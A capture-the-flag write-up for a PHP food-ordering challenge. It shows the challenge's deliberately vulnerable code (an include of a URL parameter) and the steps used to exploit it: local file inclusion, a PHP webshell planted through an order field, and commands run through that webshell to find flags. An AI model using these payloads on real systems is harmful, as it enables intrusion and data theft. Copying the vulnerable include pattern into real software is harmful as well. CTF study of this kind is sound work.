NAME: flagtastic_falafel
CATEGORY: web
POINTS: 250
DESCRIPTION: Flagtastic Falafel just got a brand new online ordering website! The programmer told me they followed all of the security advice they heard from everyone, so it is super secure. However, with a name like “Flagtastic Falafel” there’s bound to be a flag sitting around somewhere, and I know how much y’all like flags…
Navigating to the website, we find a first-rate falafel form. Frippery foregone, fully fillable fields for finance figures following forename furnish functionality for fanatics. Fantastic!
Fungal falafel freshly fried for fungal-fervent folk! Furthermore, firewall-finessers found flaws festering forth from fricked-up files.
❯ ls
fabled.php fetid.php frozen.php
fake.php fibrous.php fruit.php
famous.php fizzy.php fungal.php
fancy.php flaming.php futuristic.php
fantastic.php foods.php fuzzy.php
fashionable.php freaky.php images
fast.php fresh.php index.php
fattening.php frightening.php test.sqlite
ferromagnetic.php frijoles.php
festive.php frosty.php
❯ grep -rn Thanks
foods.php:35:echo("<p>Thanks for your order, "...
foods.php
<?php
# Someone told me that I should NEVER EVER STORE UNENCRYPTED CREDIT CARD NUMBERS IN A DATABASE!!!
# Flagtastic Falafel takes security very seriously, so credit card numbers are stored in files instead.
# Generate a unique file name for this customer/credit card number
$filename = bin2hex(random_bytes(20));
$order_file = fopen("/orders/" . $filename, "w") or die("Unable to open order file for writing :-(");
# Write order information to the file
fwrite($order_file, "Customer Name: " . $_GET["name"] . "\n");
fwrite($order_file, "Credit Card Number: " . $_GET["credit_card_number"] . "\n");
fwrite($order_file, "Order: " . $_GET["food"] . "\n\n");
# Close the file
fclose($order_file);
# Record other order information in database (don't worry, credit card data is not stored in database)
$db = new SQLite3("/orders/orders.db");
# No sql injection allowed!!
$stmt = $db->prepare("INSERT INTO orders (customer_name_hash, order_filename) VALUES (?, ?)");
# Only store hash of name for security!! Storing sensitive information in the database is a no no.
$name_hash = hash("md5", $_GET["name"]);
$stmt->bindValue(1, $name_hash);
$stmt->bindValue(2, $filename);
$stmt->execute();
?>
<html>
<head>
<title>Flagtastic Falafel</title>
</head>
<body>
<?php
# No XSS allowed!! (we'll have an XSS challenge at some point, but this isn't it)
echo("<p>Thanks for your order, " . htmlspecialchars($_GET["name"]) . "!</p>");
echo("<p>We received your credit card number as " . htmlspecialchars($_GET["credit_card_number"]) . ". Please ensure that it is incorrect, and submit your order again if it isn't. Thank you!</p>");
echo("<p>Here's what you ordered:</p>");
include($_GET["food"]);
?>
</body>
</html>
Phew!
I’m trying to turn my brain off f-word mode but I’m finding it difficult. Anyways, let’s find some festering flaws in these files.
This code:
- Generates a random filename
- Writes the customer’s name, number, and food to that file
- Inserts that filename and a md5 hash of the customer’s name into a database
- The database is at /orders/orders.db, by the way
- Includes a file on the page. (food, a URL-passed parameter)
It’s looking promising. If we can figure out the name of a file on the server, we can pass it in the URL as the food parameter. If it’s PHP, the server will run whatever code is in that file. In our case, the contents of the file is our name, credit card number, and order. We have control over the name and therefore its hash, so hopefully this isn’t too difficult.
First, let’s dump the database through the food parameter. %2F
is a URL-encoded slash.
http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=%2Forders%2Forders.db
This is messy and I couldn’t load it into a database viewer, so it was necessary to print it as base64:
http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=%2Forders%2Forders.db&name=paul&credit_card_number=number
This works (trust me), and we can search for our order with SELECT * FROM 'orders' where customer_name_hash = "6c63212ab48e8401eaf6b59b95d816a9"
. The hash is md5(“paul”).
This gives us a filename, and requesting http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=/orders/e633fd358812c5346a1c25ad4f3a55c34abb6aff
, where the random bits at the end are the order_filename
matching our customer_name_hash
.
Cool!
OK, so we can render the contents of a file. What happens if this content is PHP? And what happens if it’s a PHP webshell? Let’s make another order with our financial information set to a webshell that reads an arbitrary system command: <?php passthru($_GET["cmd"]) ?>
.
So, setting that as our credit card and going through the same process will let us execute any command – let’s start with ls
, as our flag will surely be in the same directory as the server, right?
http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=/orders/02055275dfae65a04f377d12e085616dce777254&cmd=ls
Nailed it! Now all we’ve got to do is swap ls
with cat
flag.txt
and we’re golden!
Unbeleaguered, we carry on. find / -name flag.txt
might show another flag.
/var/www/html/flag.txt /definitely_not_the_flag_dont_look_here/yeah_this_isnt_the_flag/turns_out_it_was_a_directory/haha_that_one_was_too/ok_enough_of_this_heres_the_flag/flag.txt /definitely_not_the_flag_dont_look_here/yeah_this_isnt_the_flag/turns_out_it_was_a_directory/haha_that_one_was_too/ok_enough_of_this_heres_the_flag/flag.txt/flag.txt /orders/flag.txt Order:
This is a lot to go through, so let’s read all the flags with find / -name flag.txt -exec cat {} \;
Our final URL payload is http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=/orders/02055275dfae65a04f377d12e085616dce777254&cmd=find%20/%20-name%20flag.txt%20-exec%20cat%20{}%20\;
Which prints out
Which gives us a link to a Youtube video that contains the flag!